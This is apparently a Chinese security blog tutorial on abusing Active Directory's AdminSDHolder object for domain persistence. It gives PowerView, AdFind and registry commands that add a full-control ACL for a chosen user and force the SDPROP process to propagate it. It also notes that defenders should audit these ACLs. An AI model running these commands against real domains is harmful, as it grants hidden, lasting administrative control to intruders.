AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板,每个AD域中都有一个AdminSDHolder
对象,在域的System容器中,DN为:"CN=AdminSDHolder,CN=System,DC=domain,DC=com"
关于AdminSDHolder
更多请查看微软手册:地址)
AdminSDHolder
在Windows 2000 Server
的AD中引入,默认包含以下的组:
1. Administrators
2. Domain Admins
3. Account Operators
4. Backup Operators
5. Domain Controllers
6. Enterprise Admins
7. Print Operators
8. Replicator
9. Read-only Domain Controllers
10. Schema Admins
11. Server Operators
注:Administrators
,Domain Admins
和Enterprise Admins
组是对AdminSDHolder
上的属性具有写权限的组。
受保护的AD账户和组的特征如下:AdminCount
属性为1。
注:AdminCount
属性为1并不能保证现在也是受保护的AD账户和组,因为从受保护的组中删除用户后,该用户帐户上的adminCount
属性不会更改,也就是说值1保持不变。
我们可以用powerview枚举受保护AD的账户
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
查找受AD保护的域中的所有用户
Get-NetUser -AdminCount
只筛选出用户名:
Get-NetUser -AdminCount |select samaccountname
查找域中受AD保护的所有组
Get-NetGroup -AdminCount
下载地址:
http://www.joeware.net/freetools/tools/adfind/index.htm
查找受AD保护的域中的所有用户
Adfind.exe -b DC=domain,DC=com -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
查找域中受AD保护的所有组
Adfind.exe -b DC=domain,DC=com -f "&(objectcategory=group)(admincount=1)" -dn
Powershell模块,域控制器一般会安装
查找受AD保护的域中的所有用户
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
查找域中受AD保护的所有组
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
注:如果域中没有安装ActiveDirectory
模块,可以下载dll然后导入模块:下载地址
然后导入就行了
import-module .\Microsoft.ActiveDirectory.Management.dll
我们可以使用powerview查询AdminSDHolder对象的ACL
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference
我们可以使用PowerView向AdminSDHolder对象添加ACL
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
添加用户qiyou对AdminSDHolder
的完全访问权限
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName qiyou -Verbose -Rights All
添加之后查看一下
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference
注: 默认等待60分钟之后生效,具体原因我在下面SDPROP
说明
我们可以使用powerview
删除AdminSDHolder
中指定用户的ACL
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=qiyou,DC=com" -PrincipalIdentity qiyou -Rights All -Verbose
powerview查看
Import-Module .\PowerView.ps1
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | select IdentityReference
域控上查看AdminSDHolder
对象的ACL
可以看到用户qiyou虽然不在域管理员组,但是能够添加指定用户到域管理员组
为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)
的后台任务。通过修改对象的安全描述符或移动对象时触发此任务。
上面我们讲到,当我们修改了AdminSDHolder
的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder
设置的安全权限重新标记ACL。
我们可以通过注册表的方式来修改推送时间,将SDPROP
的触发频率修改为1分钟一次:
注: 范围是最小1分钟,最大120分钟
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
注: 建议如果在实战环境不要尝试去修改,当你的修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,所以在你修改默认值之前要考虑清楚。
强制SDPROP运行需要手动初始化SDPROP线程,步骤如下:
运行->LDP.exe
然后选择菜单:连接->连接
,服务器输入你当前的机器名,端口默认为389
然后绑定凭证,选择绑定为当前登录的用户
,如果选择与凭据绑定
需要输入用户名和密码
然后浏览->修改
,在属性
选项卡中输入FixUpInheritance
。在值字段中输入Yes
。操作选择添加
,然后单击输入
,最后运行即可,运行之后如下图所示
AdminSDHolder
在域渗透中可以说是一个重要的点。站在攻击者的角度,运用AdminSDHolder
可以达到域权限维持的效果;站在防御者角度应该定时检测和清除AdminSDHolder
中可疑的ACL
https://docs.microsoft.com/zh-cn/previous-versions/technet-magazine/ee361593(v=msdn.10))
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AdminSDHolder/